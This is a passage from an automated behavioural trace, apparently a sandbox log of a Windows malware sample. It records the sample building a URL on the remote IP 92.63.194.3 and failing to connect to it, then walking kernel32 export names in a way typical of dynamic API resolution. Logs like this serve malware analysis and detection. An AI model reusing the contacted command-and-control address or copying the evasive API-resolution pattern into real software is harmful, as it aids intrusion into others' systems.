returned="CreateThreadpoolWork" [0103.088] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0103.088] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0103.088] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0103.088] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0103.088] GetTickCount () returned 0x2f4d6 [0103.088] GetTickCount () returned 0x2f4d6 [0103.088] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0103.089] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0103.089] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0103.090] wsprintfA (in: param_1=0x3010000, param_2="http://%s%s" | out: param_1="http://92.63.194.3/hnxcggc.shtml?bk=4o5bx") returned 41 [0103.090] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0103.090] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0103.090] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0103.091] VirtualAlloc (lpAddress=0x0, dwSize=0x23, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0103.091] lstrlenA (lpString="kernel32.dll") returned 12 [0103.091] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0103.092] inet_pton (in: Family=2, pszAddrString="92.63.194.3", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0103.094] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0103.094] socket (af=2, type=1, protocol=6) returned 0x544 [0103.095] inet_addr (cp="92.63.194.3") returned 0x3c23f5c [0103.095] htons (hostshort=0x50) returned 0x5000 [0103.095] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.194.3"), namelen=16) returned -1 [0104.422] closesocket (s=0x544) returned 0 [0104.422] WSACleanup () returned 0 [0104.422] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.423] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.423] lstrlenA (lpString="kernel32.dll") returned 12 [0104.424] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0104.424] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0104.424] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0104.424] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0104.424] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0104.424] lstrlenA (lpString="ADDATOMA") returned 8 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0104.424] lstrlenA (lpString="ADDATOMW") returned 8 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0104.424] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0104.424] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0104.424] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0104.424] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0104.424] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0104.424] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0104.424] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0104.424] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0104.424] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0104.424] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0104.425] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0104.425] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0104.425] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0104.425] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0104.425] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0104.425] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0104.425] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0104.425] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0104.425] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0104.425] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0104.425] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0104.425] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0104.425] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0104.425] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0104.425] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0104.425] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0104.425] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0104.426] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0104.426] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0104.426] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0104.426] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0104.426] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0104.426] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0104.426] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0104.426] lstrlenA (lpString="BACKUPREAD") returned 10 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0104.426] lstrlenA (lpString="BACKUPSEEK") returned 10 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0104.426] lstrlenA (lpString="BACKUPWRITE") returned 11 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0104.426] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0104.426] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0104.426] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0104.426] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0104.426] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0104.426] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0104.427] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0104.427] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0104.427] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0104.427] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0104.427] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0104.427] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0104.427] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0104.427] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0104.427] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0104.427] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0104.427] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0104.427] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0104.427] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0104.427] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0104.427] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0104.428] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0104.428] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0104.428] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0104.428] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0104.428] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0104.428] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0104.428] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0104.428] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0104.428] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0104.428] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0104.428] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0104.428] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0104.428] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0104.428] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0104.428] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0104.428] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0104.428] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0104.429] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0104.429] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0104.429] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0104.429] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0104.429] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0104.429] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0104.429] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0104.429] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0104.429] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0104.429] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0104.429] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0104.429] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0104.429] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0104.429] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0104.429] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0104.429] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0104.429] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0104.430] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0104.430] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0104.430] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0104.430] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0104.430] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0104.430] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0104.430] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0104.430] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0104.430] lstrlenA (lpString="BEEP") returned 4 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0104.430] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") 